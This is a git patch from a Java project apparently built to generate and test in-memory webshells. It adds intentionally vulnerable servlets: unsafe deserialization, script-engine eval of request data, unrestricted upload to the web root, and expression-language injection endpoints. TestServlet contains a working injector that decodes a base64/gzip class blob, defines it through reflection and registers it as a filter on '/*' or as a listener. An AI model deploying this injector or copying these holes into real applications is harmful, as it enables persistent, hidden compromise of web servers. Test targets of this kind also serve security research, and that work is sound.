From a4e3e4f697ea0ae7a77b3427c532f350a40033c2 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 14 Dec 2024 21:32:57 +0800 Subject: [PATCH] fix: jboss6 scan overflow with spring --- integration-test/build.gradle | 2 +- .../javaweb/integration/ContainerTool.java | 1 + .../tomcat/Tomcat8ContainerTest.java | 4 +- settings.gradle | 1 + vul-webapp-expression/build.gradle | 26 ++ .../src/main/java/ELServlet.java | 0 .../src/main/java/ErrorFilter.java | 0 .../src/main/java/ErrorListener.java | 0 .../src/main/java/FreemarkerServlet.java | 0 .../src/main/java/JavaReadObjServlet.java | 38 +++ .../src/main/java/OgnlServlet.java | 0 .../src/main/java/ScriptEngineServlet.java | 24 ++ .../src/main/java/SpELServlet.java | 0 .../src/main/java/TestServlet.java | 290 ++++++++++++++++++ .../src/main/java/UploadServlet.java | 53 ++++ .../src/main/java/VelocityServlet.java | 0 .../src/main/webapp/WEB-INF/web.xml | 108 +++++++ .../src/main/webapp/index.html | 1 + vul-webapp/build.gradle | 6 - vul-webapp/src/main/webapp/WEB-INF/web.xml | 61 ---- vul-webapp/src/main/webapp/shell.jsp | 16 - 21 files changed, 545 insertions(+), 86 deletions(-) create mode 100644 vul-webapp-expression/build.gradle rename {vul-webapp => vul-webapp-expression}/src/main/java/ELServlet.java (100%) rename {vul-webapp => vul-webapp-expression}/src/main/java/ErrorFilter.java (100%) rename {vul-webapp => vul-webapp-expression}/src/main/java/ErrorListener.java (100%) rename {vul-webapp => vul-webapp-expression}/src/main/java/FreemarkerServlet.java (100%) create mode 100644 vul-webapp-expression/src/main/java/JavaReadObjServlet.java rename {vul-webapp => vul-webapp-expression}/src/main/java/OgnlServlet.java (100%) create mode 100644 vul-webapp-expression/src/main/java/ScriptEngineServlet.java rename {vul-webapp => vul-webapp-expression}/src/main/java/SpELServlet.java (100%) create mode 100644 vul-webapp-expression/src/main/java/TestServlet.java create mode 100644 vul-webapp-expression/src/main/java/UploadServlet.java rename {vul-webapp => vul-webapp-expression}/src/main/java/VelocityServlet.java (100%) create mode 100644 vul-webapp-expression/src/main/webapp/WEB-INF/web.xml create mode 100644 vul-webapp-expression/src/main/webapp/index.html delete mode 100644 vul-webapp/src/main/webapp/shell.jsp diff --git a/integration-test/build.gradle b/integration-test/build.gradle index d8ccccbd..7f5c875b 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -49,7 +49,7 @@ idea { } test { - dependsOn ":vul-webapp:war", ":vul-webapp-jakarta:war" + dependsOn ":vul-webapp:war", ":vul-webapp-expression:war", ":vul-webapp-jakarta:war" useJUnitPlatform() // maxParallelForks Runtime.runtime.availableProcessors().intdiv(2) ?: 1 // forkEvery = 1 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 5fe61f87..1c4d051d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -13,6 +13,7 @@ import java.nio.file.Paths; @Slf4j public class ContainerTool { public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); + public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 2731a8c6..4776999c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -19,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,7 +35,7 @@ public class Tomcat8ContainerTest { public static final String imageName = "tomcat:8-jre8"; @Container public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); diff --git a/settings.gradle b/settings.gradle index fe021f37..c84cea84 100644 --- a/settings.gradle +++ b/settings.gradle @@ -6,4 +6,5 @@ include 'vul-webapp-jakarta' include 'integration-test' include 'boot' include 'deserialize' +include 'vul-webapp-expression' diff --git a/vul-webapp-expression/build.gradle b/vul-webapp-expression/build.gradle new file mode 100644 index 00000000..3bc102af --- /dev/null +++ b/vul-webapp-expression/build.gradle @@ -0,0 +1,26 @@ +plugins { + id 'war' +} + +group = 'com.reajason.javaweb.vul' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 +} + +dependencies { + implementation 'commons-fileupload:commons-fileupload:1.3.3' + implementation 'commons-beanutils:commons-beanutils:1.9.3' + implementation 'de.odysseus.juel:juel-impl:2.2.7' + implementation 'org.freemarker:freemarker:2.3.23' + implementation 'org.apache.velocity:velocity:1.7' + implementation 'ognl:ognl:2.7.3' + implementation 'org.springframework:spring-expression:4.3.0.RELEASE' + providedCompile 'de.odysseus.juel:juel-api:2.2.7' + providedCompile "javax.servlet:servlet-api:2.5" +} diff --git a/vul-webapp/src/main/java/ELServlet.java b/vul-webapp-expression/src/main/java/ELServlet.java similarity index 100% rename from vul-webapp/src/main/java/ELServlet.java rename to vul-webapp-expression/src/main/java/ELServlet.java diff --git a/vul-webapp/src/main/java/ErrorFilter.java b/vul-webapp-expression/src/main/java/ErrorFilter.java similarity index 100% rename from vul-webapp/src/main/java/ErrorFilter.java rename to vul-webapp-expression/src/main/java/ErrorFilter.java diff --git a/vul-webapp/src/main/java/ErrorListener.java b/vul-webapp-expression/src/main/java/ErrorListener.java similarity index 100% rename from vul-webapp/src/main/java/ErrorListener.java rename to vul-webapp-expression/src/main/java/ErrorListener.java diff --git a/vul-webapp/src/main/java/FreemarkerServlet.java b/vul-webapp-expression/src/main/java/FreemarkerServlet.java similarity index 100% rename from vul-webapp/src/main/java/FreemarkerServlet.java rename to vul-webapp-expression/src/main/java/FreemarkerServlet.java diff --git a/vul-webapp-expression/src/main/java/JavaReadObjServlet.java b/vul-webapp-expression/src/main/java/JavaReadObjServlet.java new file mode 100644 index 00000000..03072106 --- /dev/null +++ b/vul-webapp-expression/src/main/java/JavaReadObjServlet.java @@ -0,0 +1,38 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.ObjectInputStream; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaReadObjServlet extends HttpServlet { + byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + try { + String data = req.getParameter("data"); + ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data)); + ObjectInputStream bis = new ObjectInputStream(inputStream); + bis.readObject(); + bis.close(); + } catch (Exception ignored) { + + } + } +} diff --git a/vul-webapp/src/main/java/OgnlServlet.java b/vul-webapp-expression/src/main/java/OgnlServlet.java similarity index 100% rename from vul-webapp/src/main/java/OgnlServlet.java rename to vul-webapp-expression/src/main/java/OgnlServlet.java diff --git a/vul-webapp-expression/src/main/java/ScriptEngineServlet.java b/vul-webapp-expression/src/main/java/ScriptEngineServlet.java new file mode 100644 index 00000000..db748b1a --- /dev/null +++ b/vul-webapp-expression/src/main/java/ScriptEngineServlet.java @@ -0,0 +1,24 @@ +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class ScriptEngineServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + Object eval = new ScriptEngineManager().getEngineByName("js").eval(data); + resp.getWriter().println(eval.toString()); + } catch (ScriptException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul-webapp/src/main/java/SpELServlet.java b/vul-webapp-expression/src/main/java/SpELServlet.java similarity index 100% rename from vul-webapp/src/main/java/SpELServlet.java rename to vul-webapp-expression/src/main/java/SpELServlet.java diff --git a/vul-webapp-expression/src/main/java/TestServlet.java b/vul-webapp-expression/src/main/java/TestServlet.java new file mode 100644 index 00000000..46028d43 --- /dev/null +++ b/vul-webapp-expression/src/main/java/TestServlet.java @@ -0,0 +1,290 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class TestServlet extends HttpServlet { + + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception var3) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException var3) { + } + } + + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + + return out.toByteArray(); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "/*"; + } + + public String getClassName() { + return "com.google.gso.sLUOL.ErrorHandler"; + } + + public String getBase64String() { + return "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"; + } + + public void addListener(Object context, Object listener) throws Exception { + if (!this.isInjected(context, this.getClassName())) { + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFV(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFV(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + + for (Object o : new ArrayList(listeners)) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + + return false; + } + + public List getContext() { + List contexts = new ArrayList(); + Set visited = new HashSet(); + + try { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getClass().getName().contains("Resin")) { + Class servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null); + Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); + if (webApp != null && visited.add(webApp)) { + contexts.add(webApp); + } + } + } + } catch (Exception e) { + // Handle exception + } + return contexts; + + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + filter = classLoader.loadClass(this.getClassName()); + } catch (Exception var9) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + + return filter; + } + + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + String filterClassName = this.getClassName(); + + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + return; + } + } catch (Exception var10) { + } + + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception var9) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } + } catch (Exception var12) { + } + + } + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + List context = getContext(); + System.out.println(context.size()); + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/vul-webapp-expression/src/main/java/UploadServlet.java b/vul-webapp-expression/src/main/java/UploadServlet.java new file mode 100644 index 00000000..cc5e0d98 --- /dev/null +++ b/vul-webapp-expression/src/main/java/UploadServlet.java @@ -0,0 +1,53 @@ +import org.apache.commons.fileupload.FileItem; +import org.apache.commons.fileupload.disk.DiskFileItemFactory; +import org.apache.commons.fileupload.servlet.ServletFileUpload; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.File; +import java.io.IOException; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +public class UploadServlet extends HttpServlet { + + private static final String TEMP_DIRECTORY = "/tmp"; + private static final String UPLOAD_DIRECTORY = "/"; + private static final int MAX_FILE_SIZE = 1024 * 1024 * 10; + private static final int MAX_REQUEST_SIZE = 1024 * 1024 * 50; + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + if (ServletFileUpload.isMultipartContent(request)) { + DiskFileItemFactory factory = new DiskFileItemFactory(); + factory.setSizeThreshold(1024 * 1024); + factory.setRepository(new File(TEMP_DIRECTORY)); + ServletFileUpload upload = new ServletFileUpload(factory); + upload.setFileSizeMax(MAX_FILE_SIZE); + upload.setSizeMax(MAX_REQUEST_SIZE); + try { + List items = upload.parseRequest(request); + for (FileItem item : items) { + if (!item.isFormField()) { + String fileName = new File(item.getName()).getName(); + String uploadFolder = getServletContext().getRealPath(UPLOAD_DIRECTORY); + if (!uploadFolder.endsWith(File.separator)) { + uploadFolder += File.separator; + } + String uploadPath = uploadFolder + fileName; + File uploadFile = new File(uploadPath); + item.write(uploadFile); + response.getWriter().println("file upload success: " + uploadPath); + } + } + } catch (Exception e) { + response.getWriter().println("file upload failed: " + e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/vul-webapp/src/main/java/VelocityServlet.java b/vul-webapp-expression/src/main/java/VelocityServlet.java similarity index 100% rename from vul-webapp/src/main/java/VelocityServlet.java rename to vul-webapp-expression/src/main/java/VelocityServlet.java diff --git a/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml b/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 00000000..de56e901 --- /dev/null +++ b/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,108 @@ + + + + index.html + + + + test + TestServlet + + + test + /test + + + + + upload + UploadServlet + + + upload + /upload + + + + + js + ScriptEngineServlet + + + js + /js + + + + + java-deserialize + JavaReadObjServlet + + + java-deserialize + /java_deserialize + + + + el + ELServlet + + + el + /el + + + + SpEL + SpELServlet + + + SpEL + /spel + + + + ognl + OgnlServlet + + + ognl + /ognl + + + + velocity + VelocityServlet + + + velocity + /velocity + + + + freemarker + FreemarkerServlet + + + freemarker + /freemarker + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/vul-webapp-expression/src/main/webapp/index.html b/vul-webapp-expression/src/main/webapp/index.html new file mode 100644 index 00000000..653debaa --- /dev/null +++ b/vul-webapp-expression/src/main/webapp/index.html @@ -0,0 +1 @@ +

hello

\ No newline at end of file diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle index ebc2c25d..5ab2b838 100644 --- a/vul-webapp/build.gradle +++ b/vul-webapp/build.gradle @@ -16,11 +16,5 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' implementation 'commons-beanutils:commons-beanutils:1.9.3' - implementation 'de.odysseus.juel:juel-impl:2.2.7' - implementation 'org.freemarker:freemarker:2.3.23' - implementation 'org.apache.velocity:velocity:1.7' - implementation 'ognl:ognl:2.7.3' - implementation 'org.springframework:spring-expression:4.3.30.RELEASE' - providedCompile 'de.odysseus.juel:juel-api:2.2.7' providedCompile "javax.servlet:servlet-api:2.5" } diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index de56e901..0d2f5e88 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -44,65 +44,4 @@ java-deserialize /java_deserialize - - - el - ELServlet - - - el - /el - - - - SpEL - SpELServlet - - - SpEL - /spel - - - - ognl - OgnlServlet - - - ognl - /ognl - - - - velocity - VelocityServlet - - - velocity - /velocity - - - - freemarker - FreemarkerServlet - - - freemarker - /freemarker - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/vul-webapp/src/main/webapp/shell.jsp b/vul-webapp/src/main/webapp/shell.jsp deleted file mode 100644 index 9836bffb..00000000 --- a/vul-webapp/src/main/webapp/shell.jsp +++ /dev/null @@ -1,16 +0,0 @@ -<%-- - Created by IntelliJ IDEA. - User: ReaJason - Date: 2024/12/14 - Time: 20:29 - To change this template use File | Settings | File Templates. ---%> -<%@ page contentType="text/html;charset=UTF-8" language="java" %> - - - $Title$ - - - $END$ - -